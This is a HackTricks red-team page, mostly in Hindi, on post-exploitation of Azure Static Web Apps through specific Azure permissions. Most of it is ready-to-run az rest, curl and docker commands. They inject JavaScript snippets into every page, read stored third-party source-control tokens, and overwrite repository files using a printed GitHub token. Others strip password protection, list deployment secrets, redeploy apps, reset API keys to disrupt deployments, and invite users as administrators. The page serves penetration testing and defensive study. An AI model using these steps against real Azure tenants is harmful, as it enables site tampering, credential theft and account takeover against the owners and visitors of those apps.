Az - Static Web Apps Post Exploitation

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Azure Static Web Apps

For more information about this service check:

Az - Static Web Applications

Microsoft.Web/staticSites/snippets/write

एक snippet बनाकर किसी static web page को arbitary HTML code लोड करने के लिए मजबूर करना संभव है। यह एक attacker को web app के अंदर JS code inject करने और sensitive information जैसे credentials या mnemonic keys (in web3 wallets) चुरा लेने की अनुमति दे सकता है।

निम्न command एक ऐसा snippet बनाएगा जिसे web app हमेशा लोड करेगा::

az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'

कॉन्फ़िगर किए गए थर्ड-पार्टी क्रेडेंशियल पढ़ें

जैसा कि App Service सेक्शन में समझाया गया है:

Az - App Services Privesc

निम्नलिखित command चलाकर वर्तमान अकाउंट में कॉन्फ़िगर किए गए थर्ड-पार्टी क्रेडेंशियल पढ़े जा सकते हैं। ध्यान दें कि उदाहरण के लिए यदि कुछ Github क्रेडेंशियल किसी अलग user में कॉन्फ़िगर हैं, तो आप उस token को किसी दूसरे user से एक्सेस नहीं कर पाएँगे।

az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"

यह कमांड Github, Bitbucket, Dropbox और OneDrive के लिए tokens लौटाती है।

यहाँ tokens की जाँच करने के लिए कुछ command उदाहरण दिए गए हैं:

# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos

# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories

# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'

# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children

Overwrite file - Overwrite routes, HTML, JS…

यह संभव है कि Azure के पास मौजूद Github token का उपयोग करके ऐप वाले Github repo के अंदर किसी फ़ाइल को ओवरराइट किया जा सके; ऐसा अनुरोध भेजकर जो ओवरराइट करने वाली फ़ाइल का path, फ़ाइल की सामग्री और commit message बताए।

इसे हमलावर दुरुपयोग कर सकते हैं ताकि वे मूलतः वेब ऐप की सामग्री बदल सकें ताकि वे दुर्भावनापूर्ण सामग्री परोस सकें (क्रेडेंशियल चुराना, mnemonic keys…) या staticwebapp.config.json फ़ाइल को ओवरराइट करके कुछ पथों को पुनर्निर्देशित कर अपने सर्वरों की ओर मोड़ दें।

Warning

ध्यान दें कि अगर कोई हमलावर किसी भी तरह से Github repo का समझौता कर लेता है, तो वे सीधे Github से भी फ़ाइल को ओवरराइट कर सकते हैं।

curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'

Microsoft.Web/staticSites/config/write

इस अनुमति के साथ, किसी static web app की सुरक्षा करने वाले पासवर्ड को संशोधित करना संभव है या यहाँ तक कि एक अनुरोध भेजकर हर environment की सुरक्षा हटा देना भी संभव है, जैसे निम्नलिखित:

# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'



# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'

Microsoft.Web/staticSites/listSecrets/action

यह अनुमति static app के लिए API key deployment token प्राप्त करने की अनुमति देती है।

az rest का उपयोग करके:

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"

AzCLI का उपयोग करके:

az staticwebapp secrets list --name <appname> --resource-group <RG>

फिर, टोकन का उपयोग करके ऐप अपडेट करना के लिए आप निम्नलिखित कमांड चला सकते हैं। ध्यान दें कि यह कमांड यह देखकर निकाला गया था कि Github Action https://github.com/Azure/static-web-apps-deploy कैसे काम करता है, क्योंकि यह वही है जिसे Azure ने डिफ़ॉल्ट रूप से उपयोग करने के लिए सेट किया है। इसलिए image और पैरामीटर भविष्य में बदल सकते हैं।

Tip

ऐप को डिप्लॉय करने के लिए आप swa टूल का उपयोग कर सकते हैं जो https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token पर है या नीचे दिए गए सरल चरणों का पालन करें:

  1. repo डाउनलोड करें https://github.com/staticwebdev/react-basic (या कोई भी अन्य repo जिसे आप डिप्लॉय करना चाहते हैं) और चलाएँ cd react-basic.
  2. वह कोड बदलें जिसे आप डिप्लॉय करना चाहते हैं
  3. इसे डिप्लॉय करने के लिए निम्न कमांड चलाएँ (ध्यान रखें <api-token> बदलना है):
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose

Warning

भले ही आपके पास token हो, आप app को deploy नहीं कर पाएंगे अगर Deployment Authorization Policy Github पर सेट है। token का उपयोग करने के लिए आपको permission Microsoft.Web/staticSites/write चाहिए ताकि deployment method को बदलकर APi token का उपयोग किया जा सके।

Microsoft.Web/staticSites/write

इस permission के साथ संभव है कि आप static web app का स्रोत किसी अलग Github repository में बदल सकें, हालांकि यह स्वचालित रूप से provision नहीं होगा क्योंकि यह Github Action से किया जाना चाहिए।

हालांकि, अगर Deployment Authotization Policy Github पर सेट है, तो यह संभव है कि आप नए source repository से app को update कर सकें!

यदि Deployment Authorization Policy Github पर सेट नहीं है, तो आप इसे उसी permission Microsoft.Web/staticSites/write के साथ बदल सकते हैं।

# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main

# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'

ऐप को deploy करने के लिए उदाहरण Github Action:

name: Azure Static Web Apps CI/CD

on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main

jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######

close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"

Microsoft.Web/staticSites/resetapikey/action

इस अनुमति के साथ यह संभव है कि reset the API key of the static web app, जिससे संभावित रूप से workflows जो app को automatically deploy करते हैं, DoSing हो सकते हैं।

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"

Microsoft.Web/staticSites/createUserInvitation/action

यह permission किसी दिए गए role के साथ static web app के अंदर protected paths तक पहुँचने के लिए किसी उपयोगकर्ता के लिए आमंत्रण बनाने की अनुमति देता है।

Login का path उदाहरण के लिए /.auth/login/github (github के लिए) या /.auth/login/aad (Entra ID के लिए) में होता है और एक उपयोगकर्ता को निम्नलिखित command से आमंत्रित किया जा सकता है:

az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app

पुल रिक्वेस्ट

डिफ़ॉल्ट रूप से उसी repo की किसी ब्रांच से आने वाले Pull Requests एक स्टेजिंग वातावरण में स्वचालित रूप से संकलित और बिल्ड हो जाते हैं। इसे ऐसे हमलावर द्वारा दुरुपयोग किया जा सकता है जिसे repo पर write access है पर production branch (आम तौर पर main) की branch protections को बायपास करने में सक्षम नहीं है ताकि स्टेजिंग URL में ऐप का दुर्भावनापूर्ण संस्करण डिप्लॉय किया जा सके।

The staging URL has this format: https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain> like: https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net

Tip

ध्यान दें कि डिफ़ॉल्ट रूप से external PRs तब तक workflows नहीं चलाएंगे जब तक उन्होंने repository में कम से कम 1 PR मर्ज न किया हो। एक हमलावर repo में एक वैध PR भेज सकता है और फिर एक दुर्भावनापूर्ण PR भेजकर स्टेजिंग वातावरण में दुर्भावनापूर्ण ऐप डिप्लॉय कर सकता है। हालाँकि, एक अनपेक्षित सुरक्षा मौजूद है: static web app में deploy करने के लिए default Github Action को deployment token वाला secret (जैसे secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F) तक access की आवश्यकता होती है, भले ही deployment IDToken के साथ किया जा रहा हो। इसका मतलब है कि क्योंकि एक external PR के पास इस secret तक पहुँच नहीं होगी और external PR बिना PR स्वीकार हुए यहाँ Workflow को बदलकर arbitrary token नहीं रख सकता, यह हमला वास्तव में काम नहीं करेगा

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें